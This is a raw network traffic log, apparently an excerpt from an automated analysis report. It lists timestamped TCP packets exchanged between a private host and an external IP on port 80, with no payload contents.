Nov 4, 2024 16:52:38.835576057 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835594893 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835608006 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835613012 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835618019 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835624933 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835632086 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835639000 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835644960 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835650921 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835659027 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835669994 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.835692883 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835700989 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.835701942 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835714102 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835720062 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835721970 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.835726023 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835731030 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835736990 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835747004 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835755110 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.835755110 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835760117 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835805893 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.882496119 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.882508993 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.882520914 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.882527113 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.882637978 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.882730007 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.882735014 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.882785082 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.882791996 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.882796049 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.882855892 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.883687019 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.883694887 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.883717060 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.883728027 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.883733988 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.883739948 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.883759975 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.883800983 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.883806944 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.883819103 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.883829117 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.883838892 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.883846045 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.883861065 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.883867025 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.883872032 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.883876085 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.883878946 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.883882999 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.883925915 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.883985996 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.883996010 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884000063 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.884001970 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884007931 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884012938 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884033918 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884038925 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884044886 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884046078 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.884057999 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884064913 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884068012 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.884071112 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884077072 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884083986 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884103060 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.884120941 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884126902 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884134054 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884136915 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.884150028 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884166956 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.884174109 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884180069 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884191036 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884200096 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884202957 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.884212971 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884224892 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884232044 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.884257078 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884263039 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884275913 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.884282112 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884288073 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884299994 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884326935 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884332895 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884339094 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884341002 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.884344101 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884371042 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884383917 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884385109 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.884390116 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884398937 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884414911 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884422064 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884430885 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.884448051 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.884481907 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.884546995 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884552956 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884569883 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884584904 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884591103 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884596109 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.884596109 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884608030 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884613991 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884618044 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.884677887 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.884702921 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884728909 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884732008 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884782076 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.884821892 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884826899 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884840012 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884848118 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884881020 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.884907961 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.884912968 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884917021 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884928942 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884936094 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.884999990 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.885004044 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885010004 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885020971 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885020971 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.885026932 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885032892 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885044098 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885050058 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885061979 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885062933 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.885067940 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885073900 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885081053 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885108948 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.885133028 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.885155916 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885163069 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885174036 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885179996 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885186911 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885201931 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885211945 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.885230064 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885236025 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885236979 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.885242939 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885250092 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885272026 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885277033 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885284901 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885291100 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885325909 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.885339975 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.885360003 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885360956 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.885369062 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885375977 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885407925 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.885420084 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.885452032 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885458946 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885472059 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885484934 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885499954 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885507107 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885514975 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885518074 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885524988 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885535955 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885536909 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.885562897 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.885596991 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885602951 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885617018 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885622025 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885627031 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.885627985 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885652065 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885658026 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885663033 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885663986 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.885668039 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885684013 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885689020 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.885689974 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885704041 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885708094 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885714054 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885726929 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.885776997 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.885807037 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885812998 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885826111 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885832071 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885859013 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885863066 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.885865927 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885893106 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.885972977 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.885987997 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.885994911 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886023998 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886035919 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886044025 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886054039 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.886075974 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886077881 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.886096954 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.886142969 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.886176109 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886182070 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886193037 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886198044 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886204958 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886213064 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886229038 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886234999 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886240005 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886255980 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886269093 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886272907 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886279106 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.886280060 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.886286974 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886292934 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886305094 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.886321068 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886332035 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886332989 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.886394024 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886399984 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886401892 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.886411905 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886423111 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886429071 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886441946 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.886462927 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.886523008 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886646032 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886651039 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886662006 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886667967 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886687040 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886694908 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886699915 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886699915 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.886706114 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886715889 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886718988 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.886730909 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886737108 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886739969 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.886743069 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886749983 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886756897 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886759996 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.886782885 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.886809111 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.886868954 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886873007 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.886935949 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.934020042 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.934043884 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.934058905 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.934103966 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.934108973 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.934127092 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.934134007 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.934143066 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.934205055 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.934953928 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.934998035 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.935012102 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.935019016 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.935024977 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.935085058 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.935098886 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.935105085 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.935122013 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.935132980 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.935139894 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.935161114 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.935174942 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.935180902 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.935189962 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.935193062 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.935199022 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.935213089 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.935237885 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.935256004 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.935278893 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.935286045 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.935292006 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.935297966 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.935305119 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.935318947 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.935338974 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.935379982 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.935395002 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.935400963 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.935408115 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.935414076 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.935420036 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.935425997 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.935435057 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.935480118 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.936191082 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.936201096 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.936213970 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.936219931 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.936227083 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.936233044 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.936304092 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.936306000 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.936367989 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.936434984 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.936446905 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.936454058 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.936459064 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.936461926 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.936466932 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.936479092 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.936508894 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.936527967 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.936534882 CET	80	59474	89.40.31.232	192.168.2.6
